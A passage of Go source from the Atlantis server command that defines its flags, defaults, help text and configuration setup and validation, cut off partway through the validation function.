gosec GitlabStatusRetryEnabledFlag = "gitlab-status-retry-enabled" IncludeGitUntrackedFiles = "include-git-untracked-files" APISecretFlag = "api-secret" HidePrevPlanComments = "hide-prev-plan-comments" QuietPolicyChecks = "quiet-policy-checks" LockingDBType = "locking-db-type" LogLevelFlag = "log-level" MarkdownTemplateOverridesDirFlag = "markdown-template-overrides-dir" MaxCommentsPerCommand = "max-comments-per-command" ParallelPoolSize = "parallel-pool-size" PendingApplyStatusFlag = "pending-apply-status" StatsNamespace = "stats-namespace" AllowDraftPRs = "allow-draft-prs" PortFlag = "port" RedisDB = "redis-db" RedisHost = "redis-host" RedisPassword = "redis-password" RedisPort = "redis-port" RedisTLSEnabled = "redis-tls-enabled" RedisInsecureSkipVerify = "redis-insecure-skip-verify" RepoConfigFlag = "repo-config" RepoConfigJSONFlag = "repo-config-json" RepoAllowlistFlag = "repo-allowlist" SilenceNoProjectsFlag = "silence-no-projects" SilenceForkPRErrorsFlag = "silence-fork-pr-errors" SilenceVCSStatusNoPlans = "silence-vcs-status-no-plans" SilenceVCSStatusNoProjectsFlag = "silence-vcs-status-no-projects" SilenceAllowlistErrorsFlag = "silence-allowlist-errors" SkipCloneNoChanges = "skip-clone-no-changes" SlackTokenFlag = "slack-token" SSLCertFileFlag = "ssl-cert-file" SSLKeyFileFlag = "ssl-key-file" RestrictFileList = "restrict-file-list" TFDistributionFlag = "tf-distribution" // deprecated for DefaultTFDistributionFlag TFDownloadFlag = "tf-download" TFDownloadURLFlag = "tf-download-url" UseTFPluginCache = "use-tf-plugin-cache" VarFileAllowlistFlag = "var-file-allowlist" VCSStatusName = "vcs-status-name" IgnoreVCSStatusNames = "ignore-vcs-status-names" TFEHostnameFlag = "tfe-hostname" TFELocalExecutionModeFlag = "tfe-local-execution-mode" TFETokenFlag = "tfe-token" WriteGitCredsFlag = "write-git-creds" // nolint: gosec WebhookHttpHeaders = "webhook-http-headers" WebBasicAuthFlag = "web-basic-auth" WebUsernameFlag = "web-username" WebPasswordFlag = "web-password" WebsocketCheckOrigin = "websocket-check-origin" // NOTE: Must manually set these as defaults in the setDefaults function. DefaultADBasicUser = "" DefaultADBasicPassword = "" DefaultADHostname = "dev.azure.com" DefaultAutoDiscoverMode = "auto" DefaultAutoplanFileList = "**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl" DefaultAllowCommands = "version,plan,apply,unlock,approve_policies,cancel" DefaultCheckoutStrategy = CheckoutStrategyBranch DefaultCheckoutDepth = 0 DefaultBitbucketBaseURL = bitbucketcloud.BaseURL DefaultDataDir = "~/.atlantis" DefaultEmojiReaction = "" DefaultExecutableName = "atlantis" DefaultMarkdownTemplateOverridesDir = "~/.markdown_templates" DefaultGHHostname = "github.com" DefaultGiteaBaseURL = "https://gitea.com" DefaultGiteaPageSize = 30 DefaultGitlabHostname = "gitlab.com" DefaultLockingDBType = "boltdb" DefaultLogLevel = "info" DefaultIgnoreVCSStatusNames = "" DefaultMaxCommentsPerCommand = 100 DefaultParallelPoolSize = 15 DefaultStatsNamespace = "atlantis" DefaultPort = 4141 DefaultRedisDB = 0 DefaultRedisPort = 6379 DefaultRedisTLSEnabled = false DefaultRedisInsecureSkipVerify = false DefaultTFDistribution = TFDistributionTerraform DefaultTFDownloadURL = "https://releases.hashicorp.com" DefaultTFDownload = true DefaultTFEHostname = "app.terraform.io" DefaultVCSStatusName = "atlantis" DefaultWebBasicAuth = false DefaultWebUsername = "atlantis" DefaultWebPassword = "atlantis" ) var stringFlags = map[string]stringFlag{ ADTokenFlag: { description: "Azure DevOps token of API user. Can also be specified via the ATLANTIS_AZUREDEVOPS_TOKEN environment variable.", }, ADUserFlag: { description: "Azure DevOps username of API user.", }, ADWebhookPasswordFlag: { description: "Azure DevOps basic HTTP authentication password for inbound webhooks " + "(see https://docs.microsoft.com/en-us/azure/devops/service-hooks/authorize?view=azure-devops)." + " SECURITY WARNING: If not specified, Atlantis won't be able to validate that the incoming webhook call came from your Azure DevOps org. " + "This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. " + "Should be specified via the ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD environment variable.", defaultValue: "", }, ADWebhookUserFlag: { description: "Azure DevOps basic HTTP authentication username for inbound webhooks.", defaultValue: "", }, ADHostnameFlag: { description: "Azure DevOps hostname to support cloud and self hosted instances.", defaultValue: "dev.azure.com", }, AllowCommandsFlag: { description: "Comma separated list of acceptable atlantis commands.", defaultValue: DefaultAllowCommands, }, AtlantisURLFlag: { description: "URL that Atlantis can be reached at. Defaults to http://$(hostname):$port where $port is from --" + PortFlag + ". Supports a base path ex. https://example.com/basepath.", }, AutoDiscoverModeFlag: { description: "Auto discover mode controls whether projects in a repo are discovered by Atlantis. Defaults to 'auto' which " + "means projects will be discovered when no explicit projects are defined in repo config. Also supports 'enabled' (always " + "discover projects) and 'disabled' (never discover projects).", defaultValue: DefaultAutoDiscoverMode, }, AutoplanModulesFromProjects: { description: "Comma separated list of file patterns to select projects Atlantis will index for module dependencies." + " Indexed projects will automatically be planned if a module they depend on is modified." + " Patterns use the dockerignore (https://docs.docker.com/engine/reference/builder/#dockerignore-file) syntax." + " A custom Workflow that uses autoplan 'when_modified' will ignore this value.", defaultValue: "", }, AutoplanFileListFlag: { description: "Comma separated list of file patterns that Atlantis will use to check if a directory contains modified files that should trigger project planning." + " Patterns use the dockerignore (https://docs.docker.com/engine/reference/builder/#dockerignore-file) syntax." + " Use single quotes to avoid shell expansion of '*'. Defaults to '" + DefaultAutoplanFileList + "'." + " A custom Workflow that uses autoplan 'when_modified' will ignore this value.", defaultValue: DefaultAutoplanFileList, }, BitbucketApiUserFlag: { description: "Bitbucket username for API calls. If not set, defaults to bitbucket-user for backward compatibility. Can also be specified via the ATLANTIS_BITBUCKET_API_USER environment variable.", }, BitbucketUserFlag: { description: "Bitbucket username for git operations.", }, BitbucketTokenFlag: { description: "Bitbucket app password of API user. Can also be specified via the ATLANTIS_BITBUCKET_TOKEN environment variable.", }, BitbucketBaseURLFlag: { description: "Base URL of Bitbucket Server (aka Stash) installation." + " Must include 'http://' or 'https://'." + " If using Bitbucket Cloud (bitbucket.org), do not set.", defaultValue: DefaultBitbucketBaseURL, }, BitbucketWebhookSecretFlag: { description: "Secret used to validate Bitbucket webhooks." + " SECURITY WARNING: If not specified, Atlantis won't be able to validate that the incoming webhook call came from Bitbucket. " + "This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. " + "Should be specified via the ATLANTIS_BITBUCKET_WEBHOOK_SECRET environment variable.", }, CheckoutStrategyFlag: { description: "How to check out pull requests. Accepts either 'branch' (default) or 'merge'." + " If set to branch, Atlantis will check out the source branch of the pull request." + " If set to merge, Atlantis will check out the destination branch of the pull request (ex. main, master)" + " and then locally perform a git merge of the source branch." + " This effectively means Atlantis operates on the repo as it will look" + " after the pull request is merged.", defaultValue: "branch", }, ConfigFlag: { description: "Path to yaml config file where flag values can also be set.", }, DataDirFlag: { description: "Path to directory to store Atlantis data.", defaultValue: DefaultDataDir, }, DisableAutoplanLabelFlag: { description: "Pull request label to disable atlantis auto planning feature only if present.", defaultValue: "", }, DisableUnlockLabelFlag: { description: "Pull request label to disable atlantis unlock feature only if present.", defaultValue: "", }, EmojiReaction: { description: "Emoji Reaction to use to react to comments.", defaultValue: DefaultEmojiReaction, }, ExecutableName: { description: "Comment command executable name.", defaultValue: DefaultExecutableName, }, GHHostnameFlag: { description: "Hostname of your Github Enterprise installation. If using github.com, no need to set.", defaultValue: DefaultGHHostname, }, GHTeamAllowlistFlag: { description: "Comma separated list of key-value pairs representing the GitHub teams and the operations that " + "the members of a particular team are allowed to perform. " + "The format is {team}:{command},{team}:{command}. " + "Valid values for 'command' are 'plan', 'apply' and '*', e.g. 'dev:plan,ops:apply,devops:*'" + "This example gives the users from the 'dev' GitHub team the permissions to execute the 'plan' command, " + "the 'ops' team the permissions to execute the 'apply' command, " + "and allows the 'devops' team to perform any operation. If this argument is not provided, the default value (*:*) " + "will be used and the default behavior will be to not check permissions " + "and to allow users from any team to perform any operation.", }, GHUserFlag: { description: "GitHub username of API user.", defaultValue: "", }, GHTokenFlag: { description: "GitHub token of API user. Can also be specified via the ATLANTIS_GH_TOKEN environment variable.", }, GHTokenFileFlag: { description: "A path to a file containing the GitHub token of API user. Can also be specified via the ATLANTIS_GH_TOKEN_FILE environment variable.", }, GHAppKeyFlag: { description: "The GitHub App's private key", defaultValue: "", }, GHAppKeyFileFlag: { description: "A path to a file containing the GitHub App's private key", defaultValue: "", }, GHAppSlugFlag: { description: "The Github app slug (ie. the URL-friendly name of your GitHub App)", }, GHOrganizationFlag: { description: "The name of the GitHub organization to use during the creation of a Github App for Atlantis", defaultValue: "", }, GHWebhookSecretFlag: { description: "Secret used to validate GitHub webhooks (see https://developer.github.com/webhooks/securing/)." + " SECURITY WARNING: If not specified, Atlantis won't be able to validate that the incoming webhook call came from GitHub. " + "This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. " + "Should be specified via the ATLANTIS_GH_WEBHOOK_SECRET environment variable.", }, GiteaBaseURLFlag: { description: "Base URL of Gitea server installation. Must include 'http://' or 'https://'.", }, GiteaUserFlag: { description: "Gitea username of API user.", defaultValue: "", }, GiteaTokenFlag: { description: "Gitea token of API user. Can also be specified via the ATLANTIS_GITEA_TOKEN environment variable.", }, GiteaWebhookSecretFlag: { description: "Optional secret used to validate Gitea webhooks." + " SECURITY WARNING: If not specified, Atlantis won't be able to validate that the incoming webhook call came from Gitea. " + "This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. " + "Should be specified via the ATLANTIS_GITEA_WEBHOOK_SECRET environment variable.", }, GitlabGroupAllowlistFlag: { description: "Comma separated list of key-value pairs representing the GitLab groups and the operations that " + "the members of a particular group are allowed to perform. " + "The format is {group}:{command},{group}:{command}. " + "Valid values for 'command' are 'plan', 'apply' and '*', e.g. 'myorg/dev:plan,myorg/ops:apply,myorg/devops:*'" + "This example gives the users from the 'myorg/dev' GitLab group the permissions to execute the 'plan' command, " + "the 'myorg/ops' group the permissions to execute the 'apply' command, " + "and allows the 'myorg/devops' group to perform any operation. If this argument is not provided, the default value (*:*) " + "will be used and the default behavior will be to not check permissions " + "and to allow users from any group to perform any operation.", }, GitlabHostnameFlag: { description: "Hostname of your GitLab Enterprise installation. If using gitlab.com, no need to set.", defaultValue: DefaultGitlabHostname, }, GitlabUserFlag: { description: "GitLab username of API user.", }, GitlabTokenFlag: { description: "GitLab token of API user. Can also be specified via the ATLANTIS_GITLAB_TOKEN environment variable.", }, GitlabWebhookSecretFlag: { description: "Optional secret used to validate GitLab webhooks." + " SECURITY WARNING: If not specified, Atlantis won't be able to validate that the incoming webhook call came from GitLab. " + "This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. " + "Should be specified via the ATLANTIS_GITLAB_WEBHOOK_SECRET environment variable.", }, APISecretFlag: { description: "Secret used to validate requests made to the /api/* endpoints", }, LockingDBType: { description: "The locking database type to use for storing plan and apply locks.", defaultValue: DefaultLockingDBType, }, LogLevelFlag: { description: "Log level. Either debug, info, warn, or error.", defaultValue: DefaultLogLevel, }, MarkdownTemplateOverridesDirFlag: { description: "Directory for custom overrides to the markdown templates used for comments.", defaultValue: DefaultMarkdownTemplateOverridesDir, }, StatsNamespace: { description: "Namespace for aggregating stats.", defaultValue: DefaultStatsNamespace, }, RedisHost: { description: "The Redis Hostname for when using a Locking DB type of 'redis'.", }, RedisPassword: { description: "The Redis Password for when using a Locking DB type of 'redis'.", }, RepoConfigFlag: { description: "Path to a repo config file, used to customize how Atlantis runs on each repo. See runatlantis.io/docs for more details.", }, RepoConfigJSONFlag: { description: "Specify repo config as a JSON string. Useful if you don't want to write a config file to disk.", }, RepoAllowlistFlag: { description: "Comma separated list of repositories that Atlantis will operate on. " + "The format is {hostname}/{owner}/{repo}, ex. github.com/runatlantis/atlantis. '*' matches any characters until the next comma. Examples: " + "all repos: '*' (not secure), an entire hostname: 'internalgithub.com/*' or an organization: 'github.com/runatlantis/*'." + " For Bitbucket Server, {owner} is the name of the project (not the key).", }, SlackTokenFlag: { description: "API token for Slack notifications.", }, SSLCertFileFlag: { description: "File containing x509 Certificate used for serving HTTPS. If the cert is signed by a CA, the file should be the concatenation of the server's certificate, any intermediates, and the CA's certificate.", }, SSLKeyFileFlag: { description: fmt.Sprintf("File containing x509 private key matching --%s.", SSLCertFileFlag), }, TFDistributionFlag: { description: "[Deprecated for --default-tf-distribution].", hidden: true, }, TFDownloadURLFlag: { description: "Base URL to download Terraform versions from.", defaultValue: DefaultTFDownloadURL, }, TFEHostnameFlag: { description: "Hostname of your Terraform Enterprise installation. If using Terraform Cloud no need to set.", defaultValue: DefaultTFEHostname, }, TFETokenFlag: { description: "API token for Terraform Cloud/Enterprise. This will be used to generate a ~/.terraformrc file." + " Only set if using TFC/E as a remote backend." + " Should be specified via the ATLANTIS_TFE_TOKEN environment variable for security.", }, DefaultTFDistributionFlag: { description: fmt.Sprintf("Which TF distribution to use. Can be set to %s or %s.", TFDistributionTerraform, TFDistributionOpenTofu), defaultValue: DefaultTFDistribution, }, DefaultTFVersionFlag: { description: "Terraform version to default to (ex. v0.12.0). Will download if not yet on disk." + " If not set, Atlantis uses the terraform binary in its PATH.", }, VarFileAllowlistFlag: { description: "Comma-separated list of additional paths where variable definition files can be read from." + " If this argument is not provided, it defaults to Atlantis' data directory, determined by the --data-dir argument.", }, IgnoreVCSStatusNames: { description: "Comma separated list of VCS status names from other atlantis services." + " When `gh-allow-mergeable-bypass-apply` is true, will ignore status checks (e.g. `status1/plan`, `status1/apply`, `status2/plan`, `status2/apply`) from other Atlantis services when checking if the PR is mergeable." + " Currently only implemented for GitHub.", defaultValue: DefaultIgnoreVCSStatusNames, }, VCSStatusName: { description: "Name used to identify Atlantis for pull request statuses.", defaultValue: DefaultVCSStatusName, }, WebhookHttpHeaders: { description: "Additional headers added to each HTTP POST payload when using HTTP webhooks provided as a JSON string." + " The map key is the header name and the value is the header value (string) or values (array of string)." + " For example: `{\"Authorization\":\"Bearer some-token\",\"X-Custom-Header\":[\"value1\",\"value2\"]}`.", defaultValue: "", }, WebUsernameFlag: { description: "Username used for Web Basic Authentication on Atlantis HTTP Middleware", defaultValue: DefaultWebUsername, }, WebPasswordFlag: { description: "Password used for Web Basic Authentication on Atlantis HTTP Middleware", defaultValue: DefaultWebPassword, }, } var boolFlags = map[string]boolFlag{ AllowForkPRsFlag: { description: "Allow Atlantis to run on pull requests from forks. A security issue for public repos.", defaultValue: false, }, AutoplanModules: { description: "Automatically plan projects that have a changed module from the local repository.", defaultValue: false, }, AutomergeFlag: { description: "Automatically merge pull requests when all plans are successfully applied.", defaultValue: false, }, DisableApplyAllFlag: { description: "Disable \"atlantis apply\" command without any flags (i.e. apply all). A specific project/workspace/directory has to be specified for applies.", defaultValue: false, }, DisableAutoplanFlag: { description: "Disable atlantis auto planning feature", defaultValue: false, }, DisableRepoLockingFlag: { description: "Disable atlantis locking repos", }, DisableGlobalApplyLockFlag: { description: "Disable atlantis global apply lock in UI", }, DiscardApprovalOnPlanFlag: { description: "Enables the discarding of approval if a new plan has been executed. Currently only Github is supported", defaultValue: false, }, EnablePolicyChecksFlag: { description: "Enable atlantis to run user defined policy checks. This is explicitly disabled for TFE/TFC backends since plan files are inaccessible.", defaultValue: false, }, EnableRegExpCmdFlag: { description: "Enable Atlantis to use regular expressions on plan/apply commands when \"-p\" flag is passed with it.", defaultValue: false, }, EnableProfilingAPI: { description: "Enable net/http/pprof routes in server for continuous profiling.", defaultValue: false, }, EnableDiffMarkdownFormat: { description: "Enable Atlantis to format Terraform plan output into a markdown-diff friendly format for color-coding purposes.", defaultValue: false, }, FailOnPreWorkflowHookError: { description: "Fail and do not run the requested Atlantis command if any of the pre workflow hooks error.", defaultValue: false, }, GHAllowMergeableBypassApply: { description: "Feature flag to enable functionality to allow mergeable check to ignore apply required check", defaultValue: false, }, GitlabStatusRetryEnabledFlag: { description: "Enable enhanced retry logic for GitLab pipeline status updates with exponential backoff.", defaultValue: false, }, AllowDraftPRs: { description: "Enable autoplan for Github Draft Pull Requests", defaultValue: false, }, HidePrevPlanComments: { description: "Hide previous plan comments to reduce clutter in the PR. " + "VCS support is limited to: GitHub.", defaultValue: false, }, IncludeGitUntrackedFiles: { description: "Include git untracked files in the Atlantis modified file scope.", defaultValue: false, }, ParallelPlanFlag: { description: "Run plan operations in parallel.", defaultValue: false, }, ParallelApplyFlag: { description: "Run apply operations in parallel.", defaultValue: false, }, PendingApplyStatusFlag: { description: "Set apply job status as pending when there are planned changes that haven't been applied yet. Currently only supported for GitLab.", defaultValue: false, }, QuietPolicyChecks: { description: "Exclude policy check comments from pull requests unless there's an actual error from conftest. This also excludes warnings.", defaultValue: false, }, RedisTLSEnabled: { description: "Enable TLS on the connection to Redis with a min TLS version of 1.2", defaultValue: DefaultRedisTLSEnabled, }, RedisInsecureSkipVerify: { description: "Controls whether the Redis client verifies the Redis server's certificate chain and host name. If true, accepts any certificate presented by the server and any host name in that certificate.", defaultValue: DefaultRedisInsecureSkipVerify, }, SilenceNoProjectsFlag: { description: "Silences Atlants from responding to PRs when it finds no projects.", defaultValue: false, }, SilenceForkPRErrorsFlag: { description: "Silences the posting of fork pull requests not allowed error comments.", defaultValue: false, }, SilenceVCSStatusNoPlans: { description: "Silences VCS commit status when autoplan finds no projects to plan.", defaultValue: false, }, SilenceVCSStatusNoProjectsFlag: { description: "Silences VCS commit status when for all commands when a project is not defined.", defaultValue: false, }, SilenceAllowlistErrorsFlag: { description: "Silences the posting of allowlist error comments.", defaultValue: false, }, DisableMarkdownFoldingFlag: { description: "Toggle off folding in markdown output.", defaultValue: false, }, WriteGitCredsFlag: { description: "Write out a .git-credentials file with the provider user and token to allow cloning private modules over HTTPS or SSH." + " This writes secrets to disk and should only be enabled in a secure environment.", defaultValue: false, }, SkipCloneNoChanges: { description: "Skips cloning the PR repo if there are no projects were changed in the PR.", defaultValue: false, }, TFDownloadFlag: { description: "Allow Atlantis to list & download Terraform versions. Setting this to false can be helpful in air-gapped environments.", defaultValue: DefaultTFDownload, }, TFELocalExecutionModeFlag: { description: "Enable if you're using local execution mode (instead of TFE/C's remote execution mode).", defaultValue: false, }, WebBasicAuthFlag: { description: "Switches on or off the Basic Authentication on the HTTP Middleware interface", defaultValue: DefaultWebBasicAuth, }, RestrictFileList: { description: "Block plan requests from projects outside the files modified in the pull request.", defaultValue: false, }, WebsocketCheckOrigin: { description: "Enable websocket origin check", defaultValue: false, }, HideUnchangedPlanComments: { description: "Remove no-changes plan comments from the pull request.", defaultValue: false, }, UseTFPluginCache: { description: "Enable the use of the Terraform plugin cache", defaultValue: true, }, } var intFlags = map[string]intFlag{ CheckoutDepthFlag: { description: fmt.Sprintf("Used only if --%s=%s.", CheckoutStrategyFlag, CheckoutStrategyMerge) + " How many commits to include in each of base and feature branches when cloning repository." + " If merge base is further behind than this number of commits from any of branches heads, full fetch will be performed.", defaultValue: DefaultCheckoutDepth, }, MaxCommentsPerCommand: { description: "If non-zero, the maximum number of comments to split command output into before truncating.", defaultValue: DefaultMaxCommentsPerCommand, }, GiteaPageSizeFlag: { description: "Optional value that specifies the number of results per page to expect from Gitea.", defaultValue: DefaultGiteaPageSize, }, ParallelPoolSize: { description: "Max size of the wait group that runs parallel plans and applies (if enabled).", defaultValue: DefaultParallelPoolSize, }, PortFlag: { description: "Port to bind to.", defaultValue: DefaultPort, }, RedisDB: { description: "The Redis Database to use when using a Locking DB type of 'redis'.", defaultValue: DefaultRedisDB, }, RedisPort: { description: "The Redis Port for when using a Locking DB type of 'redis'.", defaultValue: DefaultRedisPort, }, } var int64Flags = map[string]int64Flag{ GHAppIDFlag: { description: "GitHub App Id. If defined, initializes the GitHub client with app-based credentials", defaultValue: 0, }, GHAppInstallationIDFlag: { description: "GitHub App Installation Id. If defined, initializes the GitHub client with app-based credentials " + "using this specific GitHub Application Installation ID, otherwise it attempts to auto-detect it. " + "Note that this value must be set if you want to have one App and multiple installations of that same " + "application.", defaultValue: 0, }, } // ValidLogLevels are the valid log levels that can be set var ValidLogLevels = []string{"debug", "info", "warn", "error"} type stringFlag struct { description string defaultValue string hidden bool } type intFlag struct { description string defaultValue int hidden bool } type int64Flag struct { description string defaultValue int64 hidden bool } type boolFlag struct { description string defaultValue bool hidden bool } // ServerCmd is an abstraction that helps us test. It allows // us to mock out starting the actual server. type ServerCmd struct { ServerCreator ServerCreator Viper *viper.Viper // SilenceOutput set to true means nothing gets printed. // Useful for testing to keep the logs clean. SilenceOutput bool AtlantisVersion string Logger logging.SimpleLogging } // ServerCreator creates servers. // It's an abstraction to help us test. type ServerCreator interface { NewServer(userConfig server.UserConfig, config server.Config) (ServerStarter, error) } // DefaultServerCreator is the concrete implementation of ServerCreator. type DefaultServerCreator struct{} // ServerStarter is for starting up a server. // It's an abstraction to help us test. type ServerStarter interface { Start() error } // NewServer returns the real Atlantis server object. func (d *DefaultServerCreator) NewServer(userConfig server.UserConfig, config server.Config) (ServerStarter, error) { return server.NewServer(userConfig, config) } // Init returns the runnable cobra command. func (s *ServerCmd) Init() *cobra.Command { c := &cobra.Command{ Use: "server", Short: "Start the atlantis server", Long: `Start the atlantis server and listen for webhook calls.`, SilenceErrors: true, SilenceUsage: true, PreRunE: s.withErrPrint(func(cmd *cobra.Command, args []string) error { return s.preRun() }), RunE: s.withErrPrint(func(cmd *cobra.Command, args []string) error { return s.run() }), } // Configure viper to accept env vars prefixed with ATLANTIS_ that can be // used instead of flags. s.Viper.SetEnvPrefix("ATLANTIS") s.Viper.SetEnvKeyReplacer(strings.NewReplacer("-", "_")) s.Viper.AutomaticEnv() s.Viper.SetTypeByDefaultValue(true) c.SetUsageTemplate(usageTmpl(stringFlags, intFlags, boolFlags)) // If a user passes in an invalid flag, tell them what the flag was. c.SetFlagErrorFunc(func(_ *cobra.Command, err error) error { s.printErr(err) return err }) // Set string flags. for name, f := range stringFlags { usage := f.description if f.defaultValue != "" { usage = fmt.Sprintf("%s (default %q)", usage, f.defaultValue) } c.Flags().String(name, "", usage+"\n") s.Viper.BindPFlag(name, c.Flags().Lookup(name)) // nolint: errcheck if f.hidden { c.Flags().MarkHidden(name) // nolint: errcheck } } // Set int flags. for name, f := range intFlags { usage := f.description if f.defaultValue != 0 { usage = fmt.Sprintf("%s (default %d)", usage, f.defaultValue) } c.Flags().Int(name, 0, usage+"\n") if f.hidden { c.Flags().MarkHidden(name) // nolint: errcheck } s.Viper.BindPFlag(name, c.Flags().Lookup(name)) // nolint: errcheck } // Set int64 flags. for name, f := range int64Flags { usage := f.description if f.defaultValue != 0 { usage = fmt.Sprintf("%s (default %d)", usage, f.defaultValue) } c.Flags().Int(name, 0, usage+"\n") if f.hidden { c.Flags().MarkHidden(name) // nolint: errcheck } s.Viper.BindPFlag(name, c.Flags().Lookup(name)) // nolint: errcheck } // Set bool flags. for name, f := range boolFlags { c.Flags().Bool(name, f.defaultValue, f.description+"\n") if f.hidden { c.Flags().MarkHidden(name) // nolint: errcheck } s.Viper.BindPFlag(name, c.Flags().Lookup(name)) // nolint: errcheck } return c } func (s *ServerCmd) preRun() error { // If passed a config file then try and load it. configFile := s.Viper.GetString(ConfigFlag) if configFile != "" { s.Viper.SetConfigFile(configFile) if err := s.Viper.ReadInConfig(); err != nil { return fmt.Errorf("invalid config: reading %s: %w", configFile, err) } } return nil } func (s *ServerCmd) run() error { var userConfig server.UserConfig if err := s.Viper.Unmarshal(&userConfig); err != nil { return err } s.setDefaults(&userConfig, s.Viper) // Now that we've parsed the config we can set our local logger to the // right level. s.Logger.SetLevel(userConfig.ToLogLevel()) if err := s.validate(userConfig); err != nil { return err } if err := s.setAtlantisURL(&userConfig); err != nil { return err } if err := s.setDataDir(&userConfig); err != nil { return err } if err := s.setMarkdownTemplateOverridesDir(&userConfig); err != nil { return err } s.setVarFileAllowlist(&userConfig) if err := s.deprecationWarnings(&userConfig); err != nil { return err } s.securityWarnings(&userConfig) s.trimAtSymbolFromUsers(&userConfig) // Config looks good. Start the server. server, err := s.ServerCreator.NewServer(userConfig, server.Config{ AllowForkPRsFlag: AllowForkPRsFlag, AtlantisURLFlag: AtlantisURLFlag, AtlantisVersion: s.AtlantisVersion, DefaultTFDistributionFlag: DefaultTFDistributionFlag, DefaultTFVersionFlag: DefaultTFVersionFlag, RepoConfigJSONFlag: RepoConfigJSONFlag, SilenceForkPRErrorsFlag: SilenceForkPRErrorsFlag, }) if err != nil { return fmt.Errorf("initializing server: %w", err) } return server.Start() } func (s *ServerCmd) setDefaults(c *server.UserConfig, v *viper.Viper) { if c.AzureDevOpsHostname == "" { c.AzureDevOpsHostname = DefaultADHostname } if c.AutoplanFileList == "" { c.AutoplanFileList = DefaultAutoplanFileList } if c.CheckoutDepth <= 0 { c.CheckoutDepth = DefaultCheckoutDepth } if c.AllowCommands == "" { c.AllowCommands = DefaultAllowCommands } if c.CheckoutStrategy == "" { c.CheckoutStrategy = DefaultCheckoutStrategy } if c.DataDir == "" { c.DataDir = DefaultDataDir } if c.GithubHostname == "" { c.GithubHostname = DefaultGHHostname } if c.GitlabHostname == "" { c.GitlabHostname = DefaultGitlabHostname } if c.GiteaBaseURL == "" { c.GiteaBaseURL = DefaultGiteaBaseURL } if c.GiteaPageSize == 0 { c.GiteaPageSize = DefaultGiteaPageSize } if c.BitbucketBaseURL == "" { c.BitbucketBaseURL = DefaultBitbucketBaseURL } if c.EmojiReaction == "" { c.EmojiReaction = DefaultEmojiReaction } if c.ExecutableName == "" { c.ExecutableName = DefaultExecutableName } if c.LockingDBType == "" { c.LockingDBType = DefaultLockingDBType } if c.LogLevel == "" { c.LogLevel = DefaultLogLevel } if c.MarkdownTemplateOverridesDir == "" { c.MarkdownTemplateOverridesDir = DefaultMarkdownTemplateOverridesDir } if !v.IsSet("max-comments-per-command") { c.MaxCommentsPerCommand = DefaultMaxCommentsPerCommand } if c.ParallelPoolSize == 0 { c.ParallelPoolSize = DefaultParallelPoolSize } if c.StatsNamespace == "" { c.StatsNamespace = DefaultStatsNamespace } if c.Port == 0 { c.Port = DefaultPort } if c.RedisDB == 0 { c.RedisDB = DefaultRedisDB } if c.RedisPort == 0 { c.RedisPort = DefaultRedisPort } if c.TFDistribution != "" && c.DefaultTFDistribution == "" { c.DefaultTFDistribution = c.TFDistribution } if c.DefaultTFDistribution == "" { c.DefaultTFDistribution = DefaultTFDistribution } if c.TFDownloadURL == "" { c.TFDownloadURL = DefaultTFDownloadURL } if c.VCSStatusName == "" { c.VCSStatusName = DefaultVCSStatusName } if c.IgnoreVCSStatusNames == "" { c.IgnoreVCSStatusNames = DefaultIgnoreVCSStatusNames } if c.TFEHostname == "" { c.TFEHostname = DefaultTFEHostname } if c.WebUsername == "" { c.WebUsername = DefaultWebUsername } if c.WebPassword == "" { c.WebPassword = DefaultWebPassword } if c.AutoDiscoverModeFlag == "" { c.AutoDiscoverModeFlag = DefaultAutoDiscoverMode } } func (s *ServerCmd) validate(userConfig server.UserConfig) error { userConfig.LogLevel = strings.ToLower(userConfig.LogLevel) if !isValidLogLevel(userConfig.LogLevel) { return fmt.Errorf("invalid log level: must be one of %v", ValidLogLevels) } if userConfig.DefaultTFDistribution != TFDistributionTerraform && userConfig.DefaultTFDistribution != TFDistributionOpenTofu { return fmt.Errorf("invalid tf distribution: expected one of %s or %s", TFDistributionTerraform, TFDistributionOpenTofu) } checkoutStrategy := userConfig.CheckoutStrategy if checkoutStrategy != CheckoutStrategyBranch && checkoutStrategy != CheckoutStrategyMerge { return fmt.Errorf("invalid checkout strategy: not one of %s or %s", CheckoutStrategyBranch, CheckoutStrategyMerge) } if (userConfig.SSLKeyFile == "") != (userConfig.SSLCertFile == "") { return fmt.Errorf("--%s and --%s are both required for ssl", SSLKeyFileFlag, SSLCertFileFlag) } // The following combinations are valid. // 1. github user and (token or token file) // 2. github app ID and (key file set or key set) // 3. gitea user and token set // 4. gitlab user and token set // 5. bitbucket user and token set // 6. azuredevops user and token set // 7. any combination of the above vcsErr := fmt.Errorf("--%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s must be set", GHUserFlag, GHTokenFlag, GHUserFlag, GHTokenFileFlag, GHAppIDFlag, GHAppKeyFileFlag, GHAppIDFlag, GHAppKeyFlag, GiteaUserFlag, GiteaTokenFlag, GitlabUserFlag, GitlabTokenFlag, BitbucketUserFlag, BitbucketTokenFlag, ADUserFlag, ADTokenFlag) if ((userConfig.GiteaUser == "") != (userConfig.GiteaToken == "")) || ((userConfig.GitlabUser == "") != (userConfig.GitlabToken == "")) || ((userConfig.BitbucketUser == "") != (userConfig.BitbucketToken == "")) || ((userConfig.AzureDevopsUser == "") != (userConfig.AzureDevopsToken == "")) { return vcsErr } if userConfig.GithubUser != "" { if (userConfig.GithubToken == "") == (userConfig.GithubTokenFile == "") { return vcsErr } } if userConfig.GithubAppID != 0 { if (userConfig.GithubAppKey == "") == (userConfig.GithubAppKeyFile == "") { return vcsErr } } // At this point, we know that there can't be a single user/token without // its partner, but we haven't checked if any user/token is set at all. if userConfig.GithubAppID == 0 && userConfig.GithubUser == "" && userConfig.GiteaUser == "" && userConfig.GitlabUser == "" && userConfig.BitbucketUser == "" && userConfig.AzureDevopsUser == "" { return vcsErr } if userConfig.RepoAllowlist == "" { return fmt.Errorf("--%s must be set for security purposes", RepoAllowlistFlag) } if strings.Contains(userConfig.RepoAllowlist, "://") { return fmt.Errorf("--%s cannot contain ://, should be hostnames only", RepoAllowlistFlag) } parsed, err := url.Parse(userConfig.BitbucketBaseURL) if err != nil { return fmt.Errorf("error 